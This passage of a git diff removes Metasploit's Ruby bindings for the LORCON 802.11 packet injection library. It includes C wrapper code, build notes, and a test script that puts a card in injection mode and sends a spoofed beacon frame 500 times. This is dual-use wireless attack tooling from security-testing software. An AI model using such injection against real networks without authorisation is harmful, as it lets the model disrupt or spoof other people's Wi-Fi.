- case TX80211_RATE_5_5MB: - return UINT2NUM(5); - break; - case TX80211_RATE_6MB: - return UINT2NUM(6); - break; - case TX80211_RATE_9MB: - return UINT2NUM(9); - break; - case TX80211_RATE_11MB: - return UINT2NUM(11); - break; - case TX80211_RATE_24MB: - return UINT2NUM(24); - break; - case TX80211_RATE_36MB: - return UINT2NUM(36); - break; - case TX80211_RATE_48MB: - return UINT2NUM(48); - break; - case TX80211_RATE_108MB: - return UINT2NUM(108); - break; - default: - rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return Qnil; -} - - -static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) { - struct rldev *rld; - float settxrate = -1; - int txrate = -1; - - Data_Get_Struct(self, struct rldev, rld); - - - if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) { - rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card"); - return(Qnil); - } - - settxrate = NUM2DBL(rrate); - - if (settxrate == -1) { - txrate = TX80211_RATE_DEFAULT; - } else if (settxrate == 1) { - txrate = TX80211_RATE_1MB; - } else if (settxrate == 2) { - txrate = TX80211_RATE_2MB; - } else if (settxrate == 5.5) { - txrate = TX80211_RATE_5_5MB; - } else if (settxrate == 6) { - txrate = TX80211_RATE_6MB; - } else if (settxrate == 9) { - txrate = TX80211_RATE_9MB; - } else if (settxrate == 11) { - txrate = TX80211_RATE_11MB; - } else if (settxrate == 24) { - txrate = TX80211_RATE_24MB; - } else if (settxrate == 36) { - txrate = TX80211_RATE_36MB; - } else if (settxrate == 48) { - txrate = TX80211_RATE_48MB; - } else if (settxrate == 108) { - txrate = TX80211_RATE_108MB; - } else { - rb_raise(rb_eArgError, "Lorcon does not support this rate setting"); - return(Qnil); - } - - if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) { - rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(txrate); -} - -static VALUE lorcon_device_get_modulation(VALUE self) { - struct rldev *rld; - int mod; - - Data_Get_Struct(self, struct rldev, rld); - - mod = tx80211_getmodulation(&rld->in_packet); - switch (mod) { - case TX80211_MOD_DEFAULT: - return rb_str_new2("DEFAULT"); - break; - case TX80211_MOD_FHSS: - return rb_str_new2("FHSS"); - break; - case TX80211_MOD_DSSS: - return rb_str_new2("DSSS"); - break; - case TX80211_MOD_OFDM: - return rb_str_new2("OFDM"); - break; - case TX80211_MOD_TURBO: - return rb_str_new2("TURBO"); - break; - case TX80211_MOD_MIMO: - return rb_str_new2("MIMO"); - break; - case TX80211_MOD_MIMOGF: - return rb_str_new2("MIMOGF"); - break; - default: - rb_raise(rb_eArgError, "Lorcon could not get the modulation value"); - return(Qnil); - } - return(Qnil); -} - -static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) { - struct rldev *rld; - char *setmod = NULL; - int mod; - - Data_Get_Struct(self, struct rldev, rld); - - if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) { - rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card"); - return(Qnil); - } - - setmod = StringValuePtr(rmod); - - if (strcmp(setmod, "DEFAULT") == 0) { - mod = TX80211_MOD_DEFAULT; - } else if (strcmp(setmod, "FHSS") == 0) { - mod = TX80211_MOD_FHSS; - } else if (strcmp(setmod, "DSSS") == 0) { - mod = TX80211_MOD_DSSS; - } else if (strcmp(setmod, "OFDM") == 0) { - mod = TX80211_MOD_OFDM; - } else if (strcmp(setmod, "TURBO") == 0) { - mod = TX80211_MOD_TURBO; - } else if (strcmp(setmod, "MIMO") == 0) { - mod = TX80211_MOD_MIMO; - } else if (strcmp(setmod, "MIMOGF") == 0) { - mod = TX80211_MOD_MIMOGF; - } else { - rb_raise(rb_eArgError, "Lorcon does not support this modulation setting"); - return(Qnil); - } - - if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) { - rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(mod); -} - -static VALUE lorcon_device_get_capabilities(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx))); -} - -static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int ret = 0; - int drivertype = INJ_NODRIVER; - char *driver, *intf; - VALUE rbdriver, rbintf; - VALUE obj; - - rb_scan_args(argc, argv, "2", &rbintf, &rbdriver); - - driver = STR2CSTR(rbdriver); - intf = STR2CSTR(rbintf); - - obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld); - - drivertype = tx80211_resolvecard(driver); - if (drivertype == INJ_NODRIVER) { - rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver"); - return(Qnil); - } - - if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - /* Open the interface to get a socket */ - ret = tx80211_open(&rld->in_tx); - if (ret < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int ret = 0; - int cnt = 0; - int dly = 0; - - VALUE rbbuff, rbcnt, rbdelay; - - Data_Get_Struct(self, struct rldev, rld); - - switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) { - case 1: - rbdelay = INT2NUM(0); - case 2: - rbcnt = INT2NUM(1); - default: - break; - } - - cnt = NUM2INT(rbcnt); - dly = NUM2INT(rbdelay); - - rld->in_packet.packet = StringValuePtr(rbbuff); - rld->in_packet.plen = RSTRING(rbbuff)->len; - - for (; cnt > 0; cnt--) { - ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet); - if (ret < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx)); - return(INT2NUM(ret)); - } - if (dly > 0) -#ifdef _MSC_VER - Sleep(dly); -#else - usleep(dly); -#endif - } - - return (rbcnt); -} - -void Init_Lorcon() { - mLorcon = rb_define_module("Lorcon"); - rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0); - rb_define_module_function(mLorcon, "version", lorcon_get_version, 0); - - cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject); - rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1); - rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0); - rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1); - rb_define_method(cDevice, "write", lorcon_device_write, -1); - rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0); - rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1); - rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1); - rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0); - rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1); - rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0); - rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1); - rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0); -} diff --git a/external/ruby-lorcon/Lorcon.h b/external/ruby-lorcon/Lorcon.h deleted file mode 100644 index 7954c1f367b4..000000000000 --- a/external/ruby-lorcon/Lorcon.h +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef _MSFLORCON_H -#define _MSFLORCON_H - -#include -#include -#include -#include -#include -#include -#include - - -struct rldev { - struct tx80211 in_tx; - struct tx80211_packet in_packet; -}; - - -#endif diff --git a/external/ruby-lorcon/README b/external/ruby-lorcon/README deleted file mode 100644 index eaea96f856e1..000000000000 --- a/external/ruby-lorcon/README +++ /dev/null @@ -1,41 +0,0 @@ -This is an experimental interface for lorcon, a 802.11 library -developed by Joshua Wright and dragorn. This interface is only -available on Linux and with lorcon-supported wireless drivers. - -For more information, please see the lorcon documentation and code: -http://www.802.11mercenary.net/lorcon/ - -To build this extension: - -1) Download, compile, and install lorcon -The latest version of lorcon can pulled from SVN: -$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon -$ cd lorcon -$ ./configure -$ make - $ sudo make install - -- or -- - $ su - # make install - # exit -$ cd .. - -2) build the ruby extension.. -$ ruby extconf.rb -$ make -$ sudo make install - -- or -- -$ su -# make install - - -NOTES: - -if Ubuntu 8.04 (and probably others) bitches about 'mkmf', -you need ruby dev package. - -:~/metasploit/external/ruby-lorcon$ ruby extconf.rb -extconf.rb:2:in `require': no such file to load -- mkmf (LoadError) - from extconf.rb:2 - -:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev diff --git a/external/ruby-lorcon/extconf.rb b/external/ruby-lorcon/extconf.rb deleted file mode 100644 index 7fcf31bda321..000000000000 --- a/external/ruby-lorcon/extconf.rb +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env ruby -require 'mkmf' - -if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h")) - create_makefile("Lorcon") -else - puts "Error: the lorcon library was not found, please see the README" -end diff --git a/external/ruby-lorcon/test.rb b/external/ruby-lorcon/test.rb deleted file mode 100755 index 4f4398b56311..000000000000 --- a/external/ruby-lorcon/test.rb +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift(File.dirname(__FILE__)) -require "Lorcon" -require "pp" - -pp Lorcon.version -pp Lorcon.drivers - -# Beacon frame from tx.c -packet = [ - 0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff - 0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, - 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no. - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp - 0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f, - 0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63, - 0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82, - 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, - 0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00, - 0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04, - 0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10, - 0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2, - 0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, - 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00, - 0x50, 0xf2, 0x02 -].pack('C*') - - -# Configure the card for reliable injection - -tx = Lorcon::Device.new('ath0', 'madwifing') -tx.fmode = "INJECT" -tx.channel = 11 -tx.txrate = 2 -tx.modulation = "DSSS" - -sa = Time.now.to_f -tx.write(packet, 500, 0) -ea = Time.now.to_f - sa - -sb = Time.now.to_f -500.times { tx.write(packet, 1, 0) } -eb = Time.now.to_f - sb - -$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds" -$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds" diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c deleted file mode 100644 index 1a69658d2df9..000000000000 --- a/external/ruby-lorcon2/Lorcon2.c +++ /dev/null @@ -1,655 +0,0 @@ -#include "Lorcon2.h" -#include "ruby.h" - -#ifndef RUBY_19 -#include "rubysig.h" -#endif - -/* - self.license = GPLv2; -*/ - -/* - This is a derivative of the tx.c sample included with lorcon: - http://802.11ninja.net/lorcon/ - - lorcon is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - lorcon is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with lorcon; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - - Copyright (c) 2005 dragorn and Joshua Wright - -*/ - -/* - Lots of code borrowed from Tom Wambold's pylorcon: - http://pylorcon.googlecode.com/ - tom5760[at]gmail.com -*/ - -/* - All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007 - http://metasploit.com/ - msfdev[at]metasploit.com -*/ - -VALUE mLorcon; -VALUE cDevice; -VALUE cPacket; - -VALUE Lorcon_get_version(VALUE self) { - return INT2NUM(lorcon_get_version()); -} - -static VALUE Lorcon_list_drivers(VALUE self) { - VALUE list; - VALUE hash; - - lorcon_driver_t *drvlist, *dri; - - list = rb_hash_new(); - - dri = drvlist = lorcon_list_drivers(); - - if (dri == NULL) - return Qnil; - - while (dri) { - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - rb_hash_aset(list, rb_str_new2(dri->name),hash); - dri = dri->next; - } - - lorcon_free_driver_list(drvlist); - - return(list); -} - -static VALUE Lorcon_find_driver(VALUE self, VALUE driver) { - VALUE hash; - lorcon_driver_t *dri; - char *drivert = RSTRING_PTR(driver); - - dri = lorcon_find_driver(drivert); - - if (dri == NULL) - return Qnil; - - hash = rb_hash_new(); - - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - - lorcon_free_driver_list(dri); - - return(hash); -} - -static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) { - VALUE hash; - lorcon_driver_t *dri; - char *intf = RSTRING_PTR(interface); - - dri = lorcon_auto_driver(intf); - - if (dri == NULL) - return Qnil; - - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - - lorcon_free_driver_list(dri); - - return hash; -} - -void Lorcon_free(struct rldev *rld) { - if (rld->context != NULL) - lorcon_free(rld->context); -} - -static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - char *intf = NULL, *driver = NULL; - VALUE rbdriver, rbintf, obj; - lorcon_driver_t *dri; - - if (argc == 2) { - rb_scan_args(argc, argv, "2", &rbintf, &rbdriver); - intf = StringValuePtr(rbintf); - driver = StringValuePtr(rbdriver); - } else { - rb_scan_args(argc, argv, "1", &rbintf); - intf = StringValuePtr(rbintf); - } - - if (driver == NULL) { - if ((dri = lorcon_auto_driver(intf)) == NULL) { - rb_raise(rb_eRuntimeError, - "LORCON could not detect a driver and none specified"); - return (Qnil); - } - } else { - if ((dri = lorcon_find_driver(driver)) == NULL) { - rb_raise(rb_eArgError, - "LORCON could not recognize the specified driver"); - return (Qnil); - } - } - - obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld); - - rld->context = lorcon_create(intf, dri); - - // Obsolete: XXX - // lorcon_set_timeout(rld->context, 100); - - if (rld->context == NULL) { - rb_raise(rb_eRuntimeError, - "LORCON could not create context"); - return (Qnil); - } - - lorcon_free_driver_list(dri); - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - - -static VALUE Lorcon_open_inject(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_inject(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_open_monitor(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_monitor(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_open_injmon(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_injmon(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_get_error(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - return rb_str_new2(lorcon_get_error(rld->context)); -} - -static VALUE Lorcon_get_capiface(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - - return rb_str_new2(lorcon_get_capiface(rld->context)); -} - -void Lorcon_packet_free(struct rlpack *rlp) { - if (rlp->packet != NULL) { - lorcon_packet_free(rlp->packet); - rlp->packet = NULL; - free(rlp); - } -} - -static VALUE Lorcon_packet_create(int argc, VALUE *argv, VALUE self) { - struct rlpack *rlp; - VALUE obj; - - obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp); - - rlp->packet = (struct lorcon_packet *) malloc(sizeof(struct lorcon_packet)); - memset(rlp->packet, 0, sizeof(struct lorcon_packet)); - - rlp->bssid = NULL; - rlp->dot3 = NULL; - rlp->len = 0; - rlp->dir = 0; - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE Lorcon_packet_get_channel(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->channel); -} - -static VALUE Lorcon_packet_set_channel(VALUE self, VALUE channel) { - struct rlpack *rlp; - - Data_Get_Struct(self, struct rlpack, rlp); - - lorcon_packet_set_channel(rlp->packet, NUM2INT(channel)); - - return channel; -} - -static VALUE Lorcon_packet_get_dlt(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->dlt); -} - -static VALUE Lorcon_packet_get_bssid(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->bssid_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->bssid_mac, 6); -} - -static VALUE Lorcon_packet_get_source(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->source_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->source_mac, 6); -} - -static VALUE Lorcon_packet_get_dest(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->dest_mac == NULL) - return Qnil; - - return rb_str_new((char *)extra->dest_mac, 6); -} - -static VALUE Lorcon_packet_get_rawdata(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_raw == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_raw, rlp->packet->length); -} - -static VALUE Lorcon_packet_get_headerdata(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_header == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_header, rlp->packet->length_header); -} - -static VALUE Lorcon_packet_get_data(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_data == NULL) - return Qnil; - - return rb_str_new((char *)rlp->packet->packet_data, rlp->packet->length_data); -} - - -static VALUE Lorcon_packet_getdot3(VALUE self) { - struct rlpack *rlp; - u_char *pdata; - int len; - VALUE ret; - - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->packet->packet_data == NULL) - return Qnil; - - len = lorcon_packet_to_dot3(rlp->packet, &pdata); - - ret = rb_str_new((char *)pdata, len); - - free(pdata); - - return ret; -} - -static VALUE Lorcon_packet_prepdot3(VALUE self, VALUE dot3) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->dot3 = (unsigned char *) RSTRING_PTR(dot3); - rlp->len = RSTRING_LEN(dot3); - - return dot3; -} - -static VALUE Lorcon_packet_prepbssid(VALUE self, VALUE bssid) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->bssid = (unsigned char *)RSTRING_PTR(bssid); - - return bssid; -} - -static VALUE Lorcon_packet_prepdir(VALUE self, VALUE dir) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - rlp->dir = NUM2INT(dir); - - return dir; -} - -static VALUE Lorcon_packet_getdir(VALUE self) { - struct rlpack *rlp; - struct lorcon_dot11_extra *extra; - Data_Get_Struct(self, struct rlpack, rlp); - - if (rlp->dir != 0) - return INT2FIX(rlp->dir); - - if (rlp->packet == NULL) - return Qnil; - - if (rlp->packet->extra_info == NULL || - rlp->packet->extra_type != LORCON_PACKET_EXTRA_80211) - return Qnil; - - extra = (struct lorcon_dot11_extra *) rlp->packet->extra_info; - - if (extra->from_ds && !extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_FROMDS); - else if (!extra->from_ds && extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_TODS); - else if (!extra->from_ds && !extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_ADHOCDS); - else if (extra->from_ds && extra->to_ds) - return INT2FIX(LORCON_DOT11_DIR_INTRADS); - - return Qnil; -} - -static VALUE Lorcon_packet_get_rawlength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length); -} - -static VALUE Lorcon_packet_get_headerlength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length_header); -} - -static VALUE Lorcon_packet_get_datalength(VALUE self) { - struct rlpack *rlp; - Data_Get_Struct(self, struct rlpack, rlp); - - return INT2FIX(rlp->packet->length_data); -} - -VALUE new_lorcon_packet(struct lorcon_packet **packet) { - struct rlpack *rlp; - VALUE obj; - - obj = Data_Make_Struct(cPacket, struct rlpack, 0, Lorcon_packet_free, rlp); - - rlp->packet = *packet; - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE Lorcon_inject_packet(VALUE self, VALUE packet) { - struct rldev *rld; - struct rlpack *rlp; - lorcon_packet_t *pack = NULL; - int ret; - - if (rb_obj_is_kind_of(packet, cPacket) == 0) { - rb_raise(rb_eTypeError, "wrong type expected %s", rb_class2name(cPacket)); - return Qnil; - } - - Data_Get_Struct(self, struct rldev, rld); - Data_Get_Struct(packet, struct rlpack, rlp); - - if (rlp->bssid != NULL && rlp->dot3 != NULL) { - pack = lorcon_packet_from_dot3(rlp->bssid, rlp->dir, rlp->dot3, rlp->len); - ret = lorcon_inject(rld->context, pack); - lorcon_packet_free(pack); - } else { - ret = lorcon_inject(rld->context, rlp->packet); - } - - return INT2FIX(ret); -} - -static VALUE Lorcon_write_raw(VALUE self, VALUE rpacket) { - struct rldev *rld; - int ret; - - Data_Get_Struct(self, struct rldev, rld); - - if(TYPE(rpacket) != T_STRING) { - rb_raise(rb_eArgError, "packet data must be a string"); - return Qnil; - } - - ret = lorcon_send_bytes(rld->context, RSTRING_LEN(rpacket), (unsigned char *)RSTRING_PTR(rpacket)); - return INT2FIX(ret); -} - -static VALUE Lorcon_set_filter(VALUE self, VALUE filter) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_set_filter(rld->context, RSTRING_PTR(filter))); -} - -static VALUE Lorcon_set_channel(VALUE self, VALUE channel) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_set_channel(rld->context, NUM2INT(channel))); -} - -static VALUE Lorcon_get_channel(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2FIX(lorcon_get_channel(rld->context)); -} - -static void rblorcon_pcap_handler(rblorconjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){ - job->pkt = (unsigned char *)pkt; - job->hdr = *hdr; -} - -static VALUE Lorcon_capture_next(VALUE self) { - struct rldev *rld; - int ret = 0; - struct lorcon_packet *packet; - unsigned char *raw; - pcap_t *pd; - rblorconjob_t job; - Data_Get_Struct(self, struct rldev, rld); - - pd = lorcon_get_pcap(rld->context); - -#ifndef RUBY_19 - TRAP_BEG; -#endif - ret = pcap_dispatch(pd, 1, (pcap_handler) rblorcon_pcap_handler, (u_char *)&job); -#ifndef RUBY_19 - TRAP_END; -#endif - - if (ret == 0) - return(Qnil); - - if (ret < 0 || job.hdr.caplen <= 0) - return INT2FIX(ret); - - raw = malloc(job.hdr.caplen); - if(! raw) return Qnil; - - memcpy(raw, job.pkt, job.hdr.caplen); - packet = lorcon_packet_from_pcap(rld->context, &job.hdr, raw); - lorcon_packet_set_freedata(packet, 1); - - return new_lorcon_packet(&packet); -} - - -static VALUE Lorcon_capture_loop(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int count = 0; - int p = 0; - VALUE v_cnt; - VALUE ret; - int fd; - - Data_Get_Struct(self, struct rldev, rld); - - if (rb_scan_args(argc, argv, "01", &v_cnt) >= 1) { - count = FIX2INT(v_cnt); - } else { - count = -1; - } - - fd = lorcon_get_selectable_fd(rld->context); - if(fd < 0 ) { - rb_raise(rb_eRuntimeError, - "LORCON context could not provide a pollable descriptor " - "and we need one for the threaded dispatch loop"); - } - - while (p < count || count <= 0) { - ret = Lorcon_capture_next(self); - if(TYPE(ret) == T_FIXNUM) return(ret); - if(ret == Qnil) { - rb_thread_wait_fd(fd); - } else { - rb_yield(ret); - p++; - } - } - - return INT2FIX(p); -} - - -void Init_Lorcon2() { - mLorcon = rb_define_module("Lorcon"); - - cPacket = rb_define_class_under(mLorcon, "Packet", rb_cObject); - - rb_define_const(cPacket, "LORCON_FROM_DS", INT2NUM(LORCON_DOT11_DIR_FROMDS)); - rb_define_const(cPacket, "LORCON_TO_DS", INT2NUM(LORCON_DOT11_DIR_TODS)); - rb_define_const(cPacket, "LORCON_INTRA_DS", INT2NUM(LORCON_DOT11_DIR_INTRADS)); - rb_define_const(cPacket, "LORCON_ADHOC_DS", INT2NUM(LORCON_DOT11_DIR_ADHOCDS)); - - rb_define_singleton_method(cPacket, "new", Lorcon_packet_create, -1); - rb_define_method(cPacket, "bssid", Lorcon_packet_get_bssid, 0); - rb_define_method(cPacket, "source", Lorcon_packet_get_source, 0); - rb_define_method(cPacket, "dest", Lorcon_packet_get_dest, 0); - - rb_define_method(cPacket, "channel", Lorcon_packet_get_channel, 0); - rb_define_method(cPacket, "channel=", Lorcon_packet_set_channel, 1); - rb_define_method(cPacket, "dlt", Lorcon_packet_get_dlt, 0); - - rb_define_method(cPacket, "rawdata", Lorcon_packet_get_rawdata, 0); - rb_define_method(cPacket, "headerdata", Lorcon_packet_get_headerdata, 0); - rb_define_method(cPacket, "data", Lorcon_packet_get_data, 0); - - rb_define_method(cPacket, "dot3", Lorcon_packet_getdot3, 0); - - rb_define_method(cPacket, "dot3=", Lorcon_packet_prepdot3, 1); - rb_define_method(cPacket, "bssid=", Lorcon_packet_prepbssid, 1); - rb_define_method(cPacket, "direction=", Lorcon_packet_prepdir, 1); - rb_define_method(cPacket, "direction", Lorcon_packet_getdir, 0); - - rb_define_method(cPacket, "size", Lorcon_packet_get_rawlength, 0); - rb_define_method(cPacket, "linesize", Lorcon_packet_get_rawlength, 0); - rb_define_method(cPacket, "headersize", Lorcon_packet_get_headerlength, 0); - rb_define_method(cPacket, "datasize", Lorcon_packet_get_datalength, 0); - - cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject); - rb_define_singleton_method(cDevice, "new", Lorcon_create, -1); - rb_define_method(cDevice, "openinject", Lorcon_open_inject, 0); - rb_define_method(cDevice, "openmonitor", Lorcon_open_monitor, 0); - rb_define_method(cDevice, "openinjmon", Lorcon_open_injmon, 0); - rb_define_method(cDevice, "error", Lorcon_get_error, 0); - rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0); - - rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1); - rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1); - rb_define_method(cDevice, "channel", Lorcon_get_channel, 0); - - rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "each", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1); - rb_define_method(cDevice, "write", Lorcon_write_raw, 1); - rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1); - rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0); - rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0); - rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1); - rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1); -} - - diff --git a/external/ruby-lorcon2/Lorcon2.h b/external/ruby-lorcon2/Lorcon2.h deleted file mode 100644 index c175ab7dd6e5..000000000000 --- a/external/ruby-lorcon2/Lorcon2.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef _MSFLORCON_H -#define _MSFLORCON_H - -#include -#include -#include -#include -#include - -#include -#include - 